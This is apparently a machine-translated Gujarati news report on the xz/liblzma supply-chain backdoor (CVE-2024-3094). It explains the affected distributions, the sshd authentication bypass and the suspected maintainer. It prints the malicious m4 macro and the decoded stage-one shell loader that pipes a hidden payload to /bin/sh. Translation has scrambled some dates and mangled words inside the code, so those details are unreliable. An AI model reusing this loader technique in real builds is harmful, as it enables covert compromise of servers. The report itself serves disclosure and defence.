xz/liblzma લાઇબ્રેરીમાં પાછલા દરવાજાની શોધ કરવામાં આવી હતી જે sshd દ્વારા પ્રવેશની મંજૂરી આપે છે

XZ Utils પેકેજમાં, જેમાં ".xz" ફોર્મેટમાં સંકુચિત ડેટા સાથે કામ કરવા માટે liblzma લાઇબ્રેરી અને ઉપયોગિતાઓનો સમાવેશ થાય છે, એક બેકડોર (CVE-2024-3094) ઓળખવામાં આવ્યો છે જે સંકળાયેલ એપ્લિકેશનો દ્વારા પ્રક્રિયા કરાયેલ ડેટાને અટકાવવા અને તેમાં ફેરફાર કરવાની મંજૂરી આપે છે. liblzma પુસ્તકાલય સાથે. બેકડોરનું મુખ્ય લક્ષ્ય OpenSSH સર્વર છે, જે અમુક વિતરણોમાં libsystemd લાઇબ્રેરી સાથે બંડલ થયેલ છે, જે બદલામાં liblzma નો ઉપયોગ કરે છે. sshd ને સંવેદનશીલ લાઇબ્રેરી સાથે લિંક કરવાથી હુમલાખોરો પ્રમાણીકરણ વિના SSH સર્વરની ઍક્સેસ મેળવવા માટે પરવાનગી આપે છે.

5.6.0 ફેબ્રુઆરી અને 5.6.1 માર્ચના રોજ પ્રકાશિત સત્તાવાર પ્રકાશનો 24 અને 9માં બેકડોર હાજર હતું, જે કેટલાક વિતરણો અને ભંડારોમાં પ્રવેશ મેળવવામાં વ્યવસ્થાપિત હતી, ઉદાહરણ તરીકે, જેન્ટૂ, આર્ક લિનક્સ, ડેબિયન સિડ/અસ્થિર, ફેડોરા રોહાઇડ અને 40-બીટા, ઓપનસુસ ફેક્ટરી અને ટમ્બલવીડ, લિબ્રેઈલેસી, આલ્પાઈન એજ, સોલસ, નિક્સઓએસ અસ્થિર, ઓપનઈન્ડિયાના, ઓપનમેનડ્રિવા રોલિંગ, પીકેજીએસઆરસી કરંટ, સ્લેકવેર કરંટ, માંજારો પરીક્ષણ. xz 5.6.0 અને 5.6.1 રીલીઝના તમામ વપરાશકર્તાઓને તાકીદે આવૃત્તિ 5.4.6 પર પાછા ફરવાની ભલામણ કરવામાં આવે છે.

સમસ્યાને હળવી કરતા પરિબળો પૈકી, એ નોંધી શકાય છે કે બેકડોર સાથે લિબ્લ્ઝમાનું સંસ્કરણ મોટા વિતરણોના સ્થિર પ્રકાશનોનો ભાગ બનવાનું સંચાલન કરતું નથી, પરંતુ ઓપનસુસ ટમ્બલવીડ અને ફેડોરા 40-બીટાને અસર કરે છે. આર્ક લિનક્સ અને જેન્ટુએ zx ની સંવેદનશીલ આવૃત્તિનો ઉપયોગ કર્યો છે, પરંતુ હુમલા માટે સંવેદનશીલ નથી કારણ કે તેઓ systemd-notify પેચને openssh પર લાગુ કરતા નથી, જે sshd ને liblzma સાથે જોડવાનું કારણ બને છે. બેકડોર ફક્ત Linux કર્નલ અને Glibc C લાઇબ્રેરી પર આધારિત x86_64 સિસ્ટમોને અસર કરે છે.

મકાન બનાવતી વખતે automake ટૂલકીટ દ્વારા ઉપયોગમાં લેવાતી build-to-host.m4 ફાઇલમાંથી બેકડોર સક્રિયકરણ કોડ m4 મેક્રોમાં છુપાયેલો હતો. એસેમ્બલી દરમિયાન, આર્કાઇવ્સ (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) પર આધારિત જટિલ અસ્પષ્ટ કામગીરીના અમલ દરમિયાન, ઑપરેશનની શુદ્ધતા ચકાસવા માટે ઉપયોગમાં લેવાતી, દૂષિત કોડ સાથેની ઑબ્જેક્ટ ફાઇલ જનરેટ કરવામાં આવી હતી, જેનો સમાવેશ કરવામાં આવ્યો હતો. liblzma લાઇબ્રેરી અને ઓપરેશન લોજિક તેના કેટલાક કાર્યોને બદલ્યા. બેકડોર-એક્ટિવેટીંગ એમ4 મેક્રોને રીલીઝ ટારબોલ્સમાં સામેલ કરવામાં આવ્યા હતા, પરંતુ ગિટ રીપોઝીટરીમાં ન હતા. તે જ સમયે, રીપોઝીટરીમાં દૂષિત પરીક્ષણ આર્કાઇવ્સ હાજર હતા, એટલે કે. બેકડોર અમલમાં મૂકનાર વ્યક્તિ પાસે રીપોઝીટરી અને રીલીઝ જનરેશન બંને પ્રક્રિયાઓની ઍક્સેસ હતી.

એપ્લિકેશન્સમાં લિબ્લ્ઝમાનો ઉપયોગ કરતી વખતે, દૂષિત ફેરફારોનો ઉપયોગ ડેટાને અટકાવવા અથવા સંશોધિત કરવા અથવા sshd ની કામગીરીને અસર કરવા માટે થઈ શકે છે. ખાસ કરીને, દૂષિત કોડે sshd પ્રમાણીકરણ પ્રક્રિયાને બાયપાસ કરવા માટે RSA_public_decrypt ફંક્શનને બનાવટી બનાવી છે. પાછલા દરવાજામાં શોધથી રક્ષણ શામેલ હતું અને જ્યારે LANG અને TERM પર્યાવરણ ચલો સેટ કરવામાં આવ્યા હતા (એટલે ​​​​કે, જ્યારે ટર્મિનલમાં પ્રક્રિયા ચલાવી રહ્યા હોય ત્યારે) અને LD_DEBUG અને LD_PROFILE પર્યાવરણ ચલો સેટ કરવામાં આવ્યા ન હતા ત્યારે તે પોતાને પ્રગટ કરતું ન હતું, અને તે માત્ર ત્યારે જ સક્રિય થયું હતું જ્યારે એક્ઝિક્યુટ કરવામાં આવ્યું હતું. /usr/sbin/sshd એક્ઝિક્યુટેબલ ફાઇલ. બેકડોર પાસે ડીબગ વાતાવરણમાં એક્ઝેક્યુશન શોધવાનું સાધન પણ હતું.

ખાસ કરીને, m4/build-to-host.m4 ફાઇલ gl_am_configmake=`grep -aErls “#{4}[[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev/ નો ઉપયોગ કરે છે. null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl__[$1]_prefix -d 2>/dev/null'

પ્રથમ બાંધકામમાં, grep ઓપરેશનમાં ફાઈલ tests/files/bad-3-corrupt_lzma2.xz મળી, જે જ્યારે અનપેક કરવામાં આવે ત્યારે સ્ક્રિપ્ટ જનરેટ કરે છે: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && બહાર નીકળો 0 [ ! $(uname) = "Linux" ] && બહાર નીકળો 0 [ ! $(uname) = "Linux" ] && બહાર નીકળો 0 [ ! $(uname) = "Linux" ] && બહાર નીકળો 0 [ ! $(uname) = "Linux" ] && બહાર નીકળો 0 eval `grep ^srcdir= config.status` જો ટેસ્ટ -f ../../config.status; પછી eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi નિકાસ i=»(head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

હુમલાખોરોએ xz પ્રોજેક્ટના ઇન્ફ્રાસ્ટ્રક્ચરમાં કેવી રીતે પ્રવેશ મેળવ્યો તે હજુ સુધી સંપૂર્ણ રીતે સ્પષ્ટ કરવામાં આવ્યું નથી. પાછલા દરવાજાના પરિણામે કેટલા વપરાશકર્તાઓ અને પ્રોજેક્ટ્સ સાથે ચેડા થયા તે પણ હજુ સ્પષ્ટ નથી. બેકડોર (JiaT75 - Jia Tan) ના કથિત લેખક, જેમણે રીપોઝીટરીમાં દૂષિત કોડ સાથે આર્કાઇવ્સ પોસ્ટ કર્યા, ફેડોરા ડેવલપર્સ સાથે પત્રવ્યવહાર કર્યો અને ડેબિયનને xz 5.6.0 શાખામાં વિતરણના સંક્રમણ સંબંધિત પુલ વિનંતીઓ મોકલી, અને તે કર્યું નહીં. શંકા પેદા કરે છે, કારણ કે તેણે xz માં ભાગ લીધો હતો તે છેલ્લા બે વર્ષથી વિકાસ કરી રહ્યો છે અને ફેરફારોની સંખ્યાના સંદર્ભમાં તે બીજા વિકાસકર્તા છે. xz પ્રોજેક્ટ ઉપરાંત, બેકડોરના કથિત લેખકે xz-java અને xz-એમ્બેડેડ પેકેજોના વિકાસમાં પણ ભાગ લીધો હતો. તદુપરાંત, થોડા દિવસો પહેલા જિયા ટેનનો સમાવેશ Linux કર્નલમાં ઉપયોગમાં લેવાતા XZ એમ્બેડેડ પ્રોજેક્ટના જાળવણીકારોની સંખ્યામાં કરવામાં આવ્યો હતો.

દૂષિત ફેરફાર અતિશય CPU વપરાશ અને ડેબિયન sid-આધારિત સિસ્ટમો સાથે ssh દ્વારા કનેક્ટ કરતી વખતે valgrind દ્વારા જનરેટ થયેલ ભૂલોનું વિશ્લેષણ કર્યા પછી શોધવામાં આવ્યો હતો. નોંધનીય છે કે xz 5.6.1 રીલીઝમાં બેકડોર સાથે zx 5.6.0 વર્ઝનમાં અપગ્રેડ કર્યા પછી ઊભી થયેલી sshd મંદી અને ક્રેશ વિશેની ફરિયાદોના જવાબમાં બેકડોરના કથિત લેખક દ્વારા તૈયાર કરાયેલા ફેરફારોનો સમાવેશ થાય છે. વધુમાં, ગયા વર્ષે જિયા ટૅને ફેરફારો કર્યા હતા જે "-fsanitize=address" નિરીક્ષણ મોડ સાથે અસંગત હતા, જેના કારણે તેને ફઝ ટેસ્ટિંગ દરમિયાન અક્ષમ કરવામાં આવ્યું હતું.

સોર્સ: opennet.ru